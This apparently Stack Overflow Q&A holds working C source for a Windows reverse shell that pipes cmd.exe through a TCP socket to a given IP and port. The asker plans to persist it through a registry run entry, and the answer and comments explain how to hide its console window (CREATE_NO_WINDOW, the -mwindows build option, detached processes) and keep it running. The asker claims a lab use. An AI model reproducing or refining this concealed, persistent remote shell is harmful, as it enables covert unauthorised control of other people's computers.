0

I am trying to create a program that connects to a socket. I want it to always stay connected so I am adding it to the registry to start on restart. I found this script online and it works as intended, however the console (cmd.exe) stays open when it is launched. I was wondering if it is possible to hide the console but keep the connection alive?

void RunSocket(char *a, char *b) {

    WSADATA wsaData;
    SOCKET Winsock;
    struct sockaddr_in hax;
    char ip_addr[16];
    STARTUPINFO ini_processo;
    PROCESS_INFORMATION processo_info;

    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

    struct hostent *host;
    host = gethostbyname(a);
    strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(b));
    hax.sin_addr.s_addr =inet_addr(ip_addr);

    WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);

    memset(&ini_processo, 0, sizeof(ini_processo));
    ini_processo.cb=sizeof(ini_processo);
    ini_processo.dwFlags=STARTF_USESTDHANDLES;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
}

This is the function that runs. It is wrapped in a plain main function that accepts command line arguments for IP and PORT. It is ran by the command

script.exe 192.168.1.1 9880

I have tried building it as a Win32 GUI application but it does the same thing. I followed the steps outlined here How to get ride of console box of a GUI program compile by MinGW + Code::Block

Any help would be greatly appreciated.

Brian Jarcus
  • 69
  • 1
  • 1
  • 6

1 Answers1

2

Use CREATE_NO_WINDOW flag (sixth parameter in CreateProcess) to create a hidden console window.

Note that the second parameter in CreateProcess should be a writable buffer. Example:

char buf[MAX_PATH];
strcpy_s(buf, "cmd.exe");
CreateProcess(NULL, buf, NULL, NULL, TRUE, CREATE_NO_WINDOW, 
    NULL, NULL, &ini_processo, &processo_info);


To create a window program without console, use WinMain entry point instead of main.
int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show)
{
    MessageBox(0, "Test", 0, 0);
    return 0;
}

In Visual Studio, set linker option to Windows subsystem.

In MinGW, use -mwindows linker option:

gcc myfile.c -mwindows -o myfile.exe

In Code::Blocks, enable GUI application, see image:

enter image description here


To keep the program running you may use while(Sleep(1000)); (with caution) or use a dummy message loop such as:

MSG msg;
while(GetMessage(&msg, NULL, 0, 0) > 0) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}
Barmak Shemirani
  • 30,904
  • 6
  • 40
  • 77
  • Thank you for the help. I have tried so much that I forgot to look at this function. Also, thanks for the tip on the writable buffer! – Brian Jarcus Jan 21 '18 at 03:57
  • Actually, why do you need that hidden console window in the first place? – Barmak Shemirani Jan 21 '18 at 04:01
  • I am running on multiple VM's on a lab I am working on. All connected to my PC. Others will be using the VM's and I don't want one of them to close the console on accident and I lose access to that VM without going through management. Sure, I could use SSH but this is just giving me a quick and easy access to a offline lab. – Brian Jarcus Jan 21 '18 at 04:05
  • I don't have any experience with that part. I meant why do you need `CreateProcess` to keep the socket open. The socket will remain open unless you close it or your program exits. Maybe you just need a way to keep the program running. See edit. – Barmak Shemirani Jan 21 '18 at 08:01
  • 1
    Perhaps it is a good idea to have this program run as a service. Either do this in code or use a daemonizer like nssm – Marged Jan 21 '18 at 08:06
  • @BarmakShemirani I am wanting to have shell access to each computer which is why I used create process to spawn the cmd.exe. The only other way that I know of would be to setup some send() and recv()? Also, right now the program accepts IP and PORT as command line arguments. If I used WinMain instead, is it possible to pass command arguments to that? – Brian Jarcus Jan 21 '18 at 17:24
  • Oh, I forgot about the command line. You have to parse `cmdline` yourself (it doesn't include filename.exe). Or use `CommandLineToArgvW` but that's Unicode. On second thought you can with main if all is working well. – Barmak Shemirani Jan 21 '18 at 18:41
  • 1
    `CREATE_NO_WINDOW` by itself causes a console application to allocate a new console that creates no window (but still has valid handles to the console and its input and output buffers). Not having a window is not the same as having a hidden window. To get that, use `CREATE_NEW_CONSOLE` in combination with the `STARTUPINFO` `wShowWindow` field. A console app with a hidden window can call `GetConsoleWindow` and `ShowWindow` to unhide its console window. If you need to run a console app without an attached console, use `DETACHED_PROCESS`. – Eryk Sun Jan 23 '18 at 00:14
  • I made a mistake about using `WinMain` in Code::Block, see edit – Barmak Shemirani Jan 23 '18 at 17:13